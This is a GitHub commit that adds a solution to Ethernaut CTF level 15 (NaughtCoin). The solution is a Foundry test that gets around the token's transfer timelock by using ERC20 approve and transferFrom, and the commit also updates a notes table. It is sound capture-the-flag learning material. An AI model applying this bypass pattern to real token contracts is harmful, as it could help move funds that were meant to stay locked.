Skip to content

Commit

Permalink
feat: ethernaut lvl 15 solution
Browse files Browse the repository at this point in the history
  • Loading branch information
leovct committed Sep 24, 2024
1 parent 307e9dc commit 6618eb3
Show file tree
Hide file tree
Showing 3 changed files with 40 additions and 2 deletions.
2 changes: 1 addition & 1 deletion doc/EthernautCTF.md
Original file line number Diff line number Diff line change
Expand Up @@ -16,7 +16,7 @@
| 12 | [Privacy](../src/EthernautCTF/Privacy.sol) || | |
| 13 | [GatekeeperOne](../src/EthernautCTF/GatekeeperOne.sol) || [GatekeeperOneExploit](../test/EthernautCTF/GatekeeperOneExploit.t.sol) | - Estimate the amount of gas a contract call would take using `gasleft` and binary search (dichotomy).<br>- Another method is to use a `while` loop and to consume the gas tiny bits by tiny bits until the call succeeds.<br>- Perform operations using bit masks. |
| 14 | [GatekeeperTwo](../src/EthernautCTF/GatekeeperTwo.sol) || [GatekeeperTwoExploit](../test/EthernautCTF/GatekeeperTwoExploit.t.sol) | - Create a contract that has a size equal to zero by putting all the logic inside the constructor. Indeed, a contract does not have source code available during construction.<br>- Solidity does not support bitwise negation, but a simple way to perform the operation is to use the XOR operation (`^`) with `0xff` (ones) |
| 15 | [NaughtCoin](../src/EthernautCTF/NaughtCoin.sol) | | | |
| 15 | [NaughtCoin](../src/EthernautCTF/NaughtCoin.sol) | | [NaughtCoinExploit](../test/EthernautCTF/NaughtCoinExploit.t.sol) | Use the ERC20 `allowance` and `transferFrom` methods to send tokens on behalf of a nother address. |
| 16 | [Preservation](../src/EthernautCTF/Preservation.sol) || | |
| 17 | [Recovery](../src/EthernautCTF/Recovery.sol) || | |
| 18 | [MagicNumber](../src/EthernautCTF/MagicNumber.sol) || | |
Expand Down
2 changes: 1 addition & 1 deletion src/EthernautCTF/NaughtCoin.sol
Original file line number Diff line number Diff line change
Expand Up @@ -24,7 +24,7 @@ contract NaughtCoin is ERC20 {
address _to,
uint256 _value
) public override lockTokens returns (bool) {
super.transfer(_to, _value);
return super.transfer(_to, _value);
}

// Prevent the initial owner from transferring tokens until the timelock has passed
Expand Down
38 changes: 38 additions & 0 deletions test/EthernautCTF/NaughtCoinExploit.t.sol
Original file line number Diff line number Diff line change
@@ -0,0 +1,38 @@
// SPDX-License-Identifier: GPL-3.0
pragma solidity ^0.8.0;

import '../../src/EthernautCTF/NaughtCoin.sol';
import '@forge-std/Test.sol';
import '@forge-std/console2.sol';

contract NaughtCoinExploit is Test {
NaughtCoin target;
address deployer = makeAddr('deployer');
address exploiter = makeAddr('exploiter');

function setUp() public {
target = new NaughtCoin(deployer);
console2.log('Target contract deployed');
}

function testExploit() public {
uint256 balance = target.balanceOf(exploiter);
console2.log('Exploiter balance: %d', balance);
assertEq(balance, 0);

// Approve another address to spend the tokens on the behalf of the deployer.
uint256 amount = target.balanceOf(deployer);
vm.startPrank(deployer);
target.approve(exploiter, amount);
vm.stopPrank();

// Transfer the tokens from the deployer address to the exploiter address using the exploiter address.
vm.startPrank(exploiter);
target.transferFrom(deployer, exploiter, amount);
vm.stopPrank();

balance = target.balanceOf(exploiter);
console2.log('Exploiter balance: %d', balance);
assertEq(balance, amount);
}
}

0 comments on commit 6618eb3

Please sign in to comment.